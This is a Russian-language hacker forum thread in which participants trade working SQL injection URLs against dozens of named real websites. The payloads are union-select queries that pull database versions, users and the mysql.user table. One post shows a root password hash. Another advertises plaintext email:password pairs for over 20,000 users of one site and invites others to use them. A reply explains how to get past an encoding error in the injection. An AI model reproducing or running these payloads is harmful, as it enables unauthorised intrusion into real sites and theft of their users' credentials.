Spyder, Китай любит тебя Code: http://www.hongkongnavi.com/shop/shop.php?id=-12+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105+from+mysql.user/*
в добавление: Code: http://azur.ru/gelendzhik/db.php?owner=282+and+282=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,AES_DECRYPT(AES_ENCRYPT(concat(user,0x3a,password),0x0),0x0),22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+mysql.user/* root:*AB3D38951ECD62929CF96E60B677D0A5B1C08FCB ps: +toxa+ молодец, исправил я тока написать хотел)
_http://kagul.ru/photooboy/index.php?action=detail&id= самоя простя скула.. +видео по взлому сайта! _http://rapidshare.com/files/20587714/bezpredel.rar.html я прсто ржал когда ломал его!!!
.. если ты про видео.. его там нет! просто прикольнуло... решыл с другими поделится... люблю я разработчиков таких сайтов! + http://www.es-loule.edu.pt/index.php?op=d2&grupo='PO'%20union+select/**/0,2,3,4,5,6,7,8,9/*
Code: http://www.fondsk.ru/article.php?id=-1+union+select+1,2,3,4,5,USER(),VERSION(),8,9,0,1,2,3,4,5,6,7,8,9,0,1/*
Code: http://www.yuretz.ru/prikol.php?id=-1+union+select+1,222,333,4,5,6,7,888,9,1,2,3/* Первая скуль, поэтому на правах нуба задам вопросик: вот выше я подобрал количество, но когда я делаю такой запрос: Code: http://www.yuretz.ru/prikol.php?id=-1+union+select+1,user(),333,4,5,6,7,888,9,1,2,3/* получаю пинка Понятно, что 2 несовместимых кодировки для юнион, но как с этим бороться?) Сорри если глупость. Учебник по MySQL только начал курить)
Просто нужно использовать конвертирование в нужную тебе кодировку... Как ты наверно заметил тебе нужна cp1251: Code: http://www.yuretz.ru/prikol.php?id=-1+union+select+1,convert(user()+using+cp1251),333,4,5,6,7,888,9,1,2,3/*
Я уже выкладывал Code: http://www.xmlhack.com/read.php?item=-1+union+select+1,2,3,4,5,6,7,8,TABLE_NAME,0,1+from+information_schema.tables/*
Я так понял, тут звонки по Америке нахаляву правда х3 каким образом, но все же http://www.i711.com/about.php сама инъекция: Code: http://www.i711.com/my711.php?tab=2&article=-1+union+select+1,2,concat(email,0x3a,passwd),4,5,6,7,8,9+from+users+limit+20623,1/* 20624 юзера, мыла:пароли в чистом виде. пользуйтесь
Какойто интернет магазин. ___ Code: http://www.linspire.com/linspire_letter_archives.php?id=-1+union+select+1,version(),3,4/* ___ Code: http://www.urallink.ru/stat.php?id=-1+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
Code: http://www.attac.de/aktuell/presse/presse_ausgabe.php?id=-232+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* http://www.newssamara.ru/showNews.php?id=-1+union+select+111,222,333,444,555,version(),777,888,999,1010,1111,1212,1313,1414,1515/*
Code: http://www.cecs.uwaterloo.ca/students/sessions_details.php?id=-666+union+select+1,2,3,4,version(),6,7,8,9,10,user(),12/* http://ostro.org/shownews_tema.php?id=-223+union+select+1,2,version(),user(),5/* http://www.mrc.uidaho.edu/mrc/team/printPeople.php?ID=-33+union+select+1,2,3,version(),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*
сайт на арабском =) там всё справа налево update\/ http://loserzcomic.com/index.php?id=-8+union+select+1,2,3,4,version(),6,7,8/* http://www.boyersteel.com/products.php?id=-4+union+select+1,convert(version()+using+latin1),3,4/* http://www.worstpreviews.com/review.php?id=-40+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 http://www.reusablebags.com/facts.php?id=-7+union+select+1,2,3,4,5,6,7/* http://tellertest.com/tellers.php?id=-78+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,72,71,73,74,75,76,77,78/* http://www.bathtubmusic.com/genre.php?id=-2+union+select+1,version() http://www.horoskopa.com/signs.php?id=-2+union+select+1,convert(version()+using+cp1251) http://bulgaria-vidin.com/estate-new-window.php?es=-10+union+select+1,convert(version()+using+latin1),3,4,5,6,7,8,9,10
Code: http://www.gridcc.org/getfile.php?id=-200+union+select+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17/*
